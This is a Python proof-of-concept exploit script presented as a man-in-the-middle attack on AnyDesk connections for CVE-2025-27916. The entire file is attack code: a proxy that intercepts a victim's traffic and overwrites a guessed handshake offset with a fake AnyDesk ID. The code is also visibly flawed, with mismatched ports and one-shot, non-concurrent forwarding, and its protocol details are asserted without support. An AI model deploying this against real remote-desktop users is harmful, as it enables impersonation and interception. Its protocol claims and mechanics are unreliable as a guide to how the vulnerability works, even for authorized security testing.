# CVE-2025-27916 PoC - AnyDesk ID Spoofing via MITM
# This PoC demonstrates the vulnerability in AnyDesk IP-based connections
# WARNING: For educational and authorized testing purposes only
import socket
import struct
import threading
class AnyDeskMITMProxy:
def __init__(self, victim_ip, target_ip, listen_port=5001):
self.victim_ip = victim_ip
self.target_ip = target_ip
self.listen_port = listen_port
self.victim_socket = None
self.target_socket = None
def handle_connection(self, client_socket, client_addr):
"""Handle connection from victim and forward to target"""
try:
# Connect to actual target
self.target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.target_socket.connect((self.target_ip, self.listen_port))
# Start bidirectional forwarding
self.forward_data(client_socket, self.target_socket, spoof_id=True)
self.forward_data(self.target_socket, client_socket, spoof_id=False)
except Exception as e:
print(f"Connection error: {e}")
finally:
client_socket.close()
if self.target_socket:
self.target_socket.close()
def forward_data(self, source, dest, spoof_id=False):
"""Forward data between sockets, optionally spoofing AnyDesk ID"""
try:
data = source.recv(4096)
if data and spoof_id:
# Inject fake AnyDesk ID into handshake packet
modified_data = self.spoof_anydesk_id(data, b'FAKE_ID_12345')
dest.sendall(modified_data)
else:
dest.sendall(data)
except:
pass
def spoof_anydesk_id(self, data, fake_id):
"""Modify AnyDesk packet to inject fake ID"""
# AnyDesk protocol packet structure:
# [Header: 4 bytes][Length: 4 bytes][Payload...]
# ID field is typically at offset 0x20 in handshake packets
modified = bytearray(data)
id_offset = 0x20
if len(modified) > id_offset + len(fake_id):
modified[id_offset:id_offset + len(fake_id)] = fake_id
return bytes(modified)
def start(self):
"""Start the MITM proxy server"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 7070))
server.listen(5)
print(f"MITM Proxy listening on port 7070")
while True:
client, addr = server.accept()
threading.Thread(target=self.handle_connection, args=(client, addr)).start()
if __name__ == "__main__":
# Usage example
proxy = AnyDeskMITMProxy(
victim_ip="192.168.1.100",
target_ip="192.168.1.200",
listen_port=5001
)
proxy.start()